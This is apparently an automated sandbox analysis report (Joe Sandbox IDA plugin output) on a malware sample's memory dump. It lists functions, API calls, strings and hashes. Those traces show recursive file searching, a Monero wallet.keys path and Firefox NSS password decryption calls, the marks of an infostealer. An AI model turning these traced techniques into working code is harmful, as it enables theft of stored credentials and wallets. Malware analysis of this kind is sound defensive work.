Function 00ECED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ECED3E
FindFirstFileA.KERNEL32(?,?), ref: 00ECED55
StrCmpCA.SHLWAPI(?,00EE1538), ref: 00ECEDAB
StrCmpCA.SHLWAPI(?,00EE153C), ref: 00ECEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECF2AE
FindClose.KERNEL32(000000FF), ref: 00ECF2C3

Strings

%s\*.*, xrefs: 00ECED32

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b1e604cdba41e4ab4c8dc6b21353b70559a250d5761537e5a9a03418ecfefaac
Instruction ID: a0743fd4dc46d0b47ddf9163b7f4efc57e77b04865a998cc490efd27e83e5b86
Opcode Fuzzy Hash: b1e604cdba41e4ab4c8dc6b21353b70559a250d5761537e5a9a03418ecfefaac
Instruction Fuzzy Hash: 75E130769112589ADB18EB20DC96EEE7378EF54300F4451BAB40A72152EE306F8BDF51

Function 00ECDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00EE0C2E), ref: 00ECDE5E
StrCmpCA.SHLWAPI(?,00EE14C8), ref: 00ECDEAE
StrCmpCA.SHLWAPI(?,00EE14CC), ref: 00ECDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00ECE3E0
FindClose.KERNEL32(000000FF), ref: 00ECE3F2

Strings

\*.*, xrefs: 00ECDE26

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 7847909238989b4922a24830cc48024d0a96d5fad9e8334a74720459846e8b96
Instruction ID: 3748cfaf016f3ca76f32540edd51a3262a1b10dd1350c7492f4a25cbde6fd077
Opcode Fuzzy Hash: 7847909238989b4922a24830cc48024d0a96d5fad9e8334a74720459846e8b96
Instruction Fuzzy Hash: 52F11F768101589ACB19EB60DC95EEE7378FF54300F8461FAA41A72191EF306B8BDF51

Function 00ECC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00ECC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00ECC87C
PK11_GetInternalKeySlot.NSS3 ref: 00ECC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00ECC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00ECC8EB
lstrcat.KERNEL32(?,00EE0B46), ref: 00ECC943
lstrcat.KERNEL32(?,00EE0B47), ref: 00ECC957
PK11_FreeSlot.NSS3(?), ref: 00ECC961
lstrcat.KERNEL32(?,00EE0B4E), ref: 00ECC978

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: df1d956362acc879d0e6b1f55f6ff8fdbcade4e2132e4878e61ac52c160d1ec8
Instruction ID: c80388c9d9bbf47b30ccda82c6db831949489ae8ef162d7885bc25e634ea4cb7
Opcode Fuzzy Hash: df1d956362acc879d0e6b1f55f6ff8fdbcade4e2132e4878e61ac52c160d1ec8
Instruction Fuzzy Hash: 87416CB5D0421A9BDB24CF90DD89BEEB7B8BF88304F1041A8E509B7280D7B15A85CF91

Function 0128895D Relevance: 9.1, Strings: 6, Instructions: 1557COMMON

Download Yara Rule

Strings

^*,, xrefs: 01288A07
$Vo, xrefs: 01289604
V7?, xrefs: 01289AC6
K6c, xrefs: 012893DC
jW, xrefs: 01289428
K6c, xrefs: 012893F7

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $Vo$K6c$K6c$V7?$^*,$jW
API String ID: 0-301125251
Opcode ID: bebec79d27681f8218589412b32753e6f087d9c28f09c3997530fabc8a67fc51
Instruction ID: ed64cba77d1d436738dd42aa5cb2d96309813aa82fef595c4a2b007f756ea53c
Opcode Fuzzy Hash: bebec79d27681f8218589412b32753e6f087d9c28f09c3997530fabc8a67fc51
Instruction Fuzzy Hash: 36A21AF3A08200AFE7146E2DEC8577ABBE9EF94720F1A453DEAC4C7740E63558058697

Function 0129289F Relevance: 9.1, Strings: 6, Instructions: 1552COMMON

Download Yara Rule

Strings

zno, xrefs: 01292B8B
I ww, xrefs: 01292BC1
&xo, xrefs: 01293342
&#=, xrefs: 012929E6
=Zd}, xrefs: 0129377B
"(j}, xrefs: 01293947

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "(j}$&#=$&xo$=Zd}$I ww$zno
API String ID: 0-3288647735
Opcode ID: 0ba8cc52ed8a685f1ac7eff58c6bb768798f563fdbdc1078874c55e7d6db3f36
Instruction ID: db24f3030e673419d19ac836d10f161764d868364588e4047c7cac03ccaf0750
Opcode Fuzzy Hash: 0ba8cc52ed8a685f1ac7eff58c6bb768798f563fdbdc1078874c55e7d6db3f36
Instruction Fuzzy Hash: C2A2F7F3A082009FE3046E2DEC8567ABBE9EF94760F1A893DE6C4C3744E63559058797

Function 00EC9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9B2A
LocalFree.KERNEL32(?,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B3F

Strings

N, xrefs: 00EC9AD4, 00EC9AE1, 00EC9AF9, 00EC9B18, 00EC9AE4, 00EC9B1B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N
API String ID: 4291131564-1689755984
Opcode ID: 4b547632dceef005607afca3b60e862e6ed490dbd0e8a9315f5e9708976c6198
Instruction ID: 8a999b67e7651f12990c47b793cca18c929188265184b3f9580bb90a78a96a87
Opcode Fuzzy Hash: 4b547632dceef005607afca3b60e862e6ed490dbd0e8a9315f5e9708976c6198
Instruction Fuzzy Hash: 6611D2B4640308BFEB14CF64D895FAA77B5FB89705F208059FD15AB384C7B2AA41CB90

Function 01294369 Relevance: 7.9, Strings: 5, Instructions: 1644COMMON

Download Yara Rule

Strings

Lq6, xrefs: 01294A63
A'i, xrefs: 01295047
r[", xrefs: 012955FD
crosoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.ar<br> 1.google.comsupport.microsoft.comsupport.m, xrefs: 01294EF6
O^{w, xrefs: 012947CF

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A'i$O^{w$crosoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.ar<br> 1.google.comsupport.microsoft.comsupport.m$r["$Lq6
API String ID: 0-2214229755
Opcode ID: ab72771f51ea87a69897431fcc9002f9b582cbfefa551cf372e69e7580a47dc7
Instruction ID: c56f767a3eb3be611efea5a922921d73750dfe0a5d7d3694e649f68287a05708
Opcode Fuzzy Hash: ab72771f51ea87a69897431fcc9002f9b582cbfefa551cf372e69e7580a47dc7
Instruction Fuzzy Hash: 9EB229F360C2049FE304AE29DC8567AFBE9EFD4720F1A893DE6C5C3744EA3558058696

Function 01286E20 Relevance: 7.9, Strings: 5, Instructions: 1644COMMON

Download Yara Rule

Strings

?8[;, xrefs: 0128762C
7m{, xrefs: 01287144
4h-, xrefs: 01287414
2+__, xrefs: 01286F18
Ec\}, xrefs: 0128772B

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
